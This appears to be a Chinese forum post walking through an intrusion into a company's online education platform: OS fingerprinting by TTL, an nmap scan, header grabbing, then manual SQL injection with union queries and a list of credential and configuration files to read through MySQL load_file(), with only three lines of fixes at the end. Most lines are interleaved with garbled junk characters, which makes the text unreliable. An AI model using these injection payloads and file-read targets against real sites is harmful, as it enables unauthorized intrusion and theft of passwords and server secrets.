题记:! U3 w0 C; c) t4 z; B: T6 i2 @& l. d3 X
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
1 i2 \9 M) ~. I2 i9 h2 n* c第一步:获取需要的信息0 y* M3 Z# }. W$ O, }
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。% o6 s- m" b- T$ q$ p7 M* H
注:以下为保护特用XXX代替敏感信息" O$ v3 ?5 O3 K9 E3 M
顺手先PING了一下他们的域名:
+ d: c% i* h( s& j% z; {2 ]ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)- H# f6 D6 C2 {/ n- J2 @6 S7 g
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
9 z- u- s$ {- R/ w8 _顺便了解一下TTL,学好基础知识才能一路顺风:
0 B/ L6 o M2 |4 z: jTTL:(Time To Live ) 生存时间1 `: e; M& v8 D6 Z4 o
指定数据包被路由器丢弃之前允许通过的网段数量。+ R, Q. i& O' V, d
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。2 d& u2 U, P# j0 @
使用PING时涉及到的 ICMP 报文类型) Q% t1 h' W5 O( G3 U% D+ [' e* ~: p
一个为ICMP请求回显(ICMP Echo Request). v' c; G* @: f: F1 S! ]7 n0 m
一个为ICMP回显应答(ICMP Echo Reply)
# b5 k" {" D% k6 j% k/ X {TTL 字段值可以帮助我们识别操作系统类型。( x5 A C. P: q1 y4 r# M
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2557 D0 A6 ?% K) k- ~: d" Y1 @" }" V
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
$ ]4 N# R {* D0 b5 b8 y# w( r2 D微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
' o' M! T$ F) ~2 E: P+ f) q微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32" k S5 M' F) Y8 U* Y
当然,返回的TTL值是相同的 Z1 E' A/ k9 y& t' r( r6 [' D
但有些情况下有所特殊
( z& }1 i; j: C; FLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
4 _! @1 R* a; g$ p0 ?: ZFreeBSD 4.1, 4.0, 3.4;2 o, Y7 ] r5 b5 G. O' o" g6 m% |/ z0 @
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
% ~0 X$ x: Z; |OpenBSD 2.6, 2.7,( I2 ]! ~' b' e7 E
NetBSD( Z+ @3 S5 q& Q( \; Z# t' S3 e
HP UX 10.20
5 B* K- I; G5 a1 B$ K, @! sICMP 回显应答的 TTL 字段值为 255
. L8 B+ J( ]' zWindows 95/98/98SE/ M$ s) t/ O. M* m$ s
Windows ME
* `, |! l1 M! {; T9 }ICMP 回显应答的 TTL 字段值为 32
, R: s0 ^0 G/ M% H; v7 Z! }' i L0 WWindows NT4 WRKS
4 z& T8 ?) P) L. r/ rWindows NT4 Server
: h H1 @; b1 f) K' y7 Z4 }5 iWindows 2000
- y: M0 z3 y! [) yWindows XP
: z# L* z9 r# }) s5 ZICMP 回显应答的 TTL 字段值为 1283 ?- H" c0 t! X4 x6 d$ [) O i
这样,我们就可以通过这种方法来辨别操作系统0 L) {( h$ h5 r4 Z7 F2 s
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2557 w$ v! O# c; @( F
用NMAP扫描一下:
) O- [$ p/ ?$ v8 n, D" D+ X, X. onmap -sT -O XXX.XXX.XXX.XXX
" A+ q7 ^6 |( p# E如果没有装WinPcap则会弹出提示:
: S" G- i2 e/ i% G$ k" ^% e7 LWARNING: Could not import all necessary WinPcap functions. You may need to upgr
0 \, U4 D8 d- f5 t, h: @ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
& A% f _+ l0 Z) mode — Nmap may not function completely6 p; `0 ?) t7 q" E2 B% H$ |5 |, V
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher% \, T& k& z6 w( S8 L# o
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win# g- E6 @( h7 f8 J+ h. [1 E& P/ o7 |
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
* `7 F2 n$ l1 [5 R' }0 cd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
* U* H" [7 w, Yersions, you may be able to take iphlpapi.dll from another system and place it i. l5 h7 M8 ^4 w, [: ]
n your system32 dir (e.g. c:\windows\system32).
: O# p0 }2 t: e2 b" t+ bQUITTING!
/ p, `% j3 u2 y J# b" t到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
! m% e# z" d; k& a; d" B安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:( j; ^6 M. v. V2 c* q7 p5 P
Interesting ports on XXX.XXX.XXX.XXX:& I! H; O# {; ?6 m
Not shown: 986 closed ports
3 `' o: ? K3 h1 ]/ S& }0 SPORT STATE SERVICE
8 S+ z" ^9 u* w+ h* {- F, m21/tcp open ftp# @$ G. Z& h, C' ^+ G
22/tcp open ssh/ U8 t# r7 @2 r5 @. D& R% D
23/tcp open telnet3 }5 }: \- \7 l% @
80/tcp open http
) a6 V. c: I- |. m" P1 y111/tcp open rpcbind
. b4 i2 Q, B; z( a5 d7 D135/tcp filtered msrpc- g' `1 L' T( U2 @
139/tcp filtered netbios-ssn7 r, [$ U, e% e. b) J- A% R
445/tcp filtered microsoft-ds
; P* B; E2 e: U" {, ~) A0 q1 f513/tcp open login
: H+ X2 m# y! {; T) d514/tcp open shell- P$ y0 z& a" [* B d. E+ O3 A
593/tcp filtered http-rpc-epmap3 e4 X+ e1 }( g* w5 h
1720/tcp filtered H.323/Q.931
. T' J* B" o' s3306/tcp open mysql1 V+ Q, P5 t, c6 ?) h3 e/ I
4444/tcp filtered krb524
$ y5 S& J. H8 ~5 j: u) xDevice type: WAP* b% z; V7 d0 ? F& W) |
Running: Linux 2.4.X
% R5 k2 \5 r, ~% EOS details: DD-WRT (Linux 2.4.35s)) m B( Z+ _. u: T, D+ j7 O4 t! ]+ t
Network Distance: 13 hops
F4 G/ h1 T' G; E看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:+ |& a# s! j, o: l
login as:
" h/ R+ z* w6 Q( Z9 ^1 bTelnet23端口也是开着的,用telnet 命令链接一下:0 n3 E1 `) O' v+ t/ c! M! f0 O* }
telnet XXX.XXX.XXX.XXX" Z# s4 }: e& x. H7 K3 }
提示:5 u6 P0 R6 t7 h) I5 G& d
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
* E: O0 X4 x% M* w& K9 LKernel 2.6.18-92.el5PAE on an i686( p. t0 f5 h( P2 J/ C, R
login:
: E7 X% ?5 {7 Q% L; W2 w& |获取HTTP头信息:7 X. m7 B" D' ^1 {# d
在本地执行如下PHP代码, x" i2 V. e; C! @
<?php
C! R' K1 X% [/ n* O; J$url = ‘XXX.XXX.XXX.XXX’;& g2 _& S2 f6 Y" [# ^- h
print_r(get_headers($url));
" \+ B2 b- b5 O+ M( r; Y4 rprint_r(get_headers($url, 1));
$ [1 e7 [! ^& J?>
' A6 b+ {# e) I% |. @9 S: \将以上代码保存为PHP文件,执行:
. w$ b0 d1 Y; y0 R9 GArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
1 K h' ]' z% Y( `1 U( X现在可以得出结论:8 T2 ? b3 |# T P" T# q, l
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
8 T( ]9 p# c- B& P! L内核版本:Kernel 2.6.18-92.el5PAE on an i686
- r9 Z* v4 |* tWEB服务器版本:nginx/0.7.61
B- e j& Q/ S# z0 P第二步,开始测试寻找漏洞
9 O$ u3 F4 ~7 s ^- U$ k5 w分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。9 S% U( S+ I2 g
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
' J8 B/ F, {' E9 ]- c; s2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
) F( l( r1 Q$ M; {" x. R0 ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
9 _. n; F1 i1 J# X' [% x# S6 F" ]http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
# J7 g3 Z1 k! u+ P6 p3 Q恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
# T- H1 ]/ O" I5 m5 G3、手工注入:
; Q, }- ? A( P; S4 u* e9 p) H9 ]注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。# U: a3 |# q& d8 C& v# M! i1 b
3.1 猜测当前表字段数
. b# G$ \. ~/ t9 t' g6 |http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
" z0 ~- K0 i9 S5 N0 m此处猜测有个简单的算法,都是有技巧的吗,呵呵
. @! l& O4 g) n' @算法简单如下:/ E. B Y7 v* W; I' h
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
: q+ |5 H7 `. M ^第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;+ E- a! m6 W3 i- A$ C
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。* A+ I8 I; H) T: O
以此来判断,是否过界,配合取中算法猜出字段数。
2 d0 F. R: z: z. Q. t* ]; _+ S举例:
" c8 s; {' F. A4 a C$ }http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常2 G- v+ c$ @! r6 B0 K9 ~4 J
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
5 \3 i, h- X1 r0 C此时3则为我们要找的字段数。
! {! H4 E+ E: t9 b- F( L7 G3.2 配合union联合查询字段在页面所位置" Q/ |' Z2 @: l$ D: w7 Q R
我们已经知道了字段数为3,此时则可以做如下操作:
! b$ E- H9 x+ ^6 Whttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,35 B2 x; _: j" G7 G8 S
7 E( d& x% R9 a6 p1 c
这样就可以测试到哪些字段在页面上有所显示了,如图:
7 R, c+ e8 w4 ?( n0 l* V7 u$ n* d! i4 ?7 x) c
3.3 查敏感信息
: z6 t( B& `5 c/ N这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。! k I9 h+ j" U
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()' ^1 Z. s( r/ K- Z; v
3.3.1 先查数据库用户、数据库名,以备后用,如图:
- J% }0 z5 ^; L, k F6 K+ C: G% g" S* ]3 G
得到数据库用户为root、数据库名为DBxx;
0 F0 z% ~) v% k6 l0 H' z3.3.2 查配置文件( v' t0 J1 u) w4 Y1 H
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
- H& Z2 f2 ^3 Y n" T9 o- I1 R I查看文件有一定的条件限制:3 D9 x8 B3 x; S0 }* q
欲读取文件必须在服务器上- Z# n R# [* v Y; s3 M
必须指定文件完整的路径
7 }$ @; c$ o4 y/ Q' x必须有权限读取并且文件必须完全可读
2 Q$ V* o" `$ [6 \3 z4 s+ e% i欲读取文件必须小于 max_allowed_packet1 F* b/ p4 b% D# M
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
6 g0 E2 x% W- {3 _% h常用的一些:
' u P+ a' N7 E7 ^; P/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
6 w2 }1 q1 @' Q, F/ `- D/usr/local/apache2/conf/httpd.conf
% H' ]3 z1 c; k, d. `. J/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/ h4 B" B3 h ?' O+ l* ?. c; u
/usr/local/app/php5/lib/php.ini //PHP相关设置; n; y M7 q# F# p1 p, q5 J
/etc/sysconfig/iptables //从中得到防火墙规则策略3 I0 C& D4 B, S! R
/etc/httpd/conf/httpd.conf // apache配置文件" V! x! l6 `5 O- ~4 q
/etc/rsyncd.conf //同步程序配置文件3 [3 \( V+ m* m/ |" l
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
, Y4 f8 K4 s. n4 K, s: [/ W% j% W/etc/my.cnf //mysql的配置文件
) L6 i( Z [: G& }/etc/redhat-release //系统版本
3 K w! o% ^$ w: q9 Y) b' r/etc/issue
/ B2 [& d' o# P$ h% V/etc/issue.net
( _+ e! e4 c* R( s7 n1 Xc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码9 g4 @: Y0 l7 [) V Y2 }# Y8 J
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
0 S# d6 h- a$ f2 P9 P: tc:\Program Files\Serv-U\ServUDaemon.ini
6 L5 T2 M) o( o1 J( K) Xc:\windows\my.ini //MYSQL配置文件
0 B- F4 i1 A8 l/ T5 m0 Z. {" Q$ ec:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
5 `+ E9 w8 B5 u" k, w等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
8 H3 o+ W2 Y% k2 D8 d7 Ic:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
5 {4 s1 g" Z' t6 I5 _" v6 l, Ic:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
. E1 I' s8 T* M$ Bc:\Program Files\RhinoSoft.com\ServUDaemon.exe
6 b& D p( |2 S3 ^- KC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
o4 B; M/ W8 @. s0 x9 b//存储了pcAnywhere的登陆密码
2 O. Q" V* `' x. N由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
! d9 T" y2 y0 g7 D这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。3 k& L! S/ ~2 n: ?& V/ E2 s
最后:防范措施
. Z) i) T, ^4 ]5 q1、修复PHP注入漏洞; ?# J. ~* ~" C4 H
2、Mysql使用普通权限的用户;
7 r6 x, |9 a! C$ `- [3、升级linux内核至最新版本; |